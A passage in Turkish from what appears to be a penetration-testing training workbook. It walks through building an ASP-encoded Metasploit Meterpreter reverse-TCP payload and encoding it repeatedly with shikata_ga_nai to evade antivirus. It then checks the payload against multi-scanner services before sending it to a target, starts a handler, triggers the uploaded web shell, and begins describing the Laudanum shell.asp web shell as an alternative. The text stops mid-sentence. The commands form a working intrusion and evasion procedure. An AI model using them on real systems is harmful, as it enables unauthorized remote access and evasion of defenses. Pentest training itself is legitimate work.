Metasploit Framework Kullanarak:
1. Adım:
“msfpayload windows/meterpreter/reverse_tcp LHOST=localmakinaip LPORT=443 R |
msfencode -t raw -e x86/shikata_ga_nai -c3 | msfencode -t asp -o sh.asp” komutu ile asp
encode edilmiş “localmakinaip” yerine, belirtilen IP ye 443 portundan, ters bağlantı açacak bir
payload oluşturulur. Payload, ayrıca shikata_ga_nai ile de encode edilmiştir. Aynı mantıkla,
encoding sayısını ve çeşitini artırarak, farklı antivirüsler atlatılabilir. “msfencode -l” ile
encoding çeşitleri listelenir. Oluşturulan payloadı, virustotal gibi çoklu tarama hizmeti veren
servislerde taratılarak, hangi antivirüslerin yakalayıp, hangisinin atlatıldığı tespit edilip, ona
göre hedef sisteme yollanır.
2. Adım:
Terminalden, msfconsole çalıştırılır ve “useexploit/multi/handler” ileters bağlantıbekleyecek
msf modülüne geçilir. Daha sonra PAYLOAD, LHOST ve LPORT değişkenleri, 1. adımda
oluşturulan shell ile uyumlu olacak şekilde atanır ve “exploit” komutu ile bağlantı beklenmeye
başlanır.
82. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
3. Adım:
Hedef sistem üzerine yüklenen sh.asp dosyasına, GET isteğinde bulunulur.(herhangi bir
tarayıcıdan hedef.com/sh.php gibi bağlanmak veya curl, nc, telnet, kullanılabilir). Böylece
hedef sistemde payload çalışmış olur ve beklemekte olan msf handler’la bağlantıyı başlatır.
Laudanum Kullanarak:
1. Adım:
Msf ile istenilen antivirüsün atlatılamadığı durumlarda, basit yapısından dolayı, güncel
antivirüsler tarafından zararlı olarak tanınmayan, Laudanum paketindeki “shell.asp” betiği
kullanılabilir. İlk adımda, shell.asp dosyası bir text editör ile açılıp if ip<>"1.2.3.4" then
satırındaki (sürüm 0.8 için satır 46) 1.2.3.4 yerine, shell’e bağlanacak olan makinanın dış IP